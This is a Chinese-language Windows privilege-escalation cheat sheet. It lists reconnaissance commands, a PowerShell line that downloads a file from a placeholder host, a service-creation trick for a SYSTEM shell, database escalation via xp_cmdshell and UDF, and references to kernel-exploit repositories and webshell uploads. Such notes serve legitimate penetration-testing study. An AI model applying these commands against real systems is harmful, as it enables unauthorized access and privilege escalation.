0x00 网页编辑器
这里所说的编辑器是说的在线的web编辑器,顾名思义,在线编辑器是一种通过浏览器等来对文字、图片等内容进行在线编辑修改的工具。
如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTexBox、CuteEditor等等
0x01 windows权限
提权分类:
提权可分为纵向提权与横向提权
纵向提权:低权限角色获得高权限角色的权限;
横向提权:获取同级别角色的权限。
脚本权限:
通常来说,不同的脚本所处的权限是不一样的。这就意味着,如果该站点支持权限更高的脚本,我们可以上传该权限更高的脚本的大马,进而拿到更高的权限。
asp/php 通常为匿名权限(网络服务权限)
aspx 通常为user权限
jsp 通常为系统权限
Windows系统权限:
在Windows系统中,权限大概分为三种,分别是:
system: 中文意思是系统,在Windows中拥有比管理员更大的权限,在Windows中主要作为系统服务或进程的运行账户,保证系统服务的正常运行;
administrator: 中文意思就是“系统管理员”。即所谓的“超级用户”。每台电脑装上系统后,在你自己新建的账户外,会自动新建一个叫administrator 的管理计算机(域)的内置账户,它平时是隐藏的,它是计算机管理员的意思,是拥有计算机管理的最高权限;
user: 隶属于users组,这个组的用户无法进行有意或无意的改动,因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序,users组是最安全的组,因为分配给改组的默认权限不允许成员修改操作系统的设置或用户资料;users可以创建本地组,但只能修改自己创建的本地组。users可以关闭工作站,但不能关闭服务器。admin,system包含所有user的权限。
提权过程: user -> admin -> system
0x02 Windows信息收集
重点信息收集
1.用户权限
2.补丁信息
3.防火墙配置
4.杀软
5.远程端口
6.启动的服务
命令 描述
systeminfo 打印系统信息
whoami 获得当前用户名
whoami /priv 当前帐户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net view \127.0.0.1 会话打开到当前计算机
net session 开放给其他机器
netsh firewall show config 显示防火墙配置
DRIVERQUERY 列出安装的驱动
tasklist /svc 列出服务任务
net start 列出启动的服务
dir /s foo 在目录中搜索包含指定字符的项目
dir /s foo == bar 同上
sc query 列出所有服务
sc qc ServiceName 找到指定服务的路径
shutdown /r /t 0 立即重启
type file.txt 打印出内容
icacls “C:\Example” 列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn
列出已安装的补丁
(New-Object System.Net.WebClient).DownloadFile(“http://host/file”,”C:\LocalPath”)
利用ps远程下载文件到本地
accesschk.exe -qwsu “Group” 修改对象(尝试Everyone,Authenticated Users和/或Users)
whomai /priv #显示当前用户的安全特权
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn
#列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
#获取远程端口
tasklist /svc | find "TermService" + netstat -ano
#获取远程端口
收集补丁信息作用: 找到没有打补丁打那个编号,尝试通过ms系列提权
收集服务作用: 判断是否有可提权的服务或者杀软服务,不同杀软不同绕过方式
收集权限作用: 根据权限等级判断是否需要提权
收集网络配置信息: 可给后期横向扩展铺路
工作组:一组计算机的集合
域:一组有安全边界的计算机的集合
0x03 windows提权
Windows提权分类
1.系统溢出漏洞提权
2.第三方服务提权
3.数据库提权
4.本地提权
系统溢出漏洞提权
#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描
post/windows/gather/enum_patches
#Powershell扫描
Import-Module C:\Sherlock.ps1
Find-AllVulns
#补丁漏洞查找网站
https://github.com/ianxtianxt/win-exp-
https://github.com/SecWiki/windows-kernel-exploits
Psexec提权
#使用Psexec工具打开system权限的cmd窗口,其中:i 表示交互式,s表示system移动到这个目录下,方便直接打开
AT提权
系统调度任务的命令
at 14:53 /interactive cmd #以system的权限打开cmd,之后在此cmd打开的应用都是system的权限
窗口权限提权
在system权限的窗口中打开任务管理器(taskmgr),然后结束桌面进程,创建一个新的桌面进程(explorer),以后在桌面中打开的cmd窗口都是以system权限运行的;
服务方式提权
采用服务的方式去提权,这是因为所有的服务都会默认以system账号去启动,所以借助这个思路,去创建一个服务(打开cmd的服务),之后启动这个服务,打开的cmd命令行窗口就是以system权限启动的;sc Create SuperCMD binpath= “cmd /k start” type= own type= interact
Sc start SuperCMD
Sc delete SuperCMD
注入进程提权
Pinjector找一个system运行的服务进程,把自己注入到进程里面,注入到进程里就和进程有同样的用户权限,也就是system
第三方服务提权
步骤:
1.信息收集阶段
2.收集软件的版本信息
3.收集软件目录端口信息
4.根据相关信息利用公开EXP提权
5.上传大马进行提权操作
6.针对不同软件有不同思路
1.FTP提权:
serv-u提权
G6-FTP提权
FileZilla提权
FlashFXP提权
PcAnywhere提权
Xlight FTP Server提权
2.远程软件提权:
VNC提权
Radmin hash提权漏洞
3.数据库提权
-
Mysql提权
• udf提权
• 启动项提权
• mof提权 -
SQL Server提权
• 利用xp_cmdshell提权
• 使用sp_oacreate进行提权
• 使用沙盒进行提权 -
Oracle提权
4.本地提权
- 溢出提权
A)远程溢出
B)本地溢出 - Getpass提权
- hash传递入侵
- lpk提权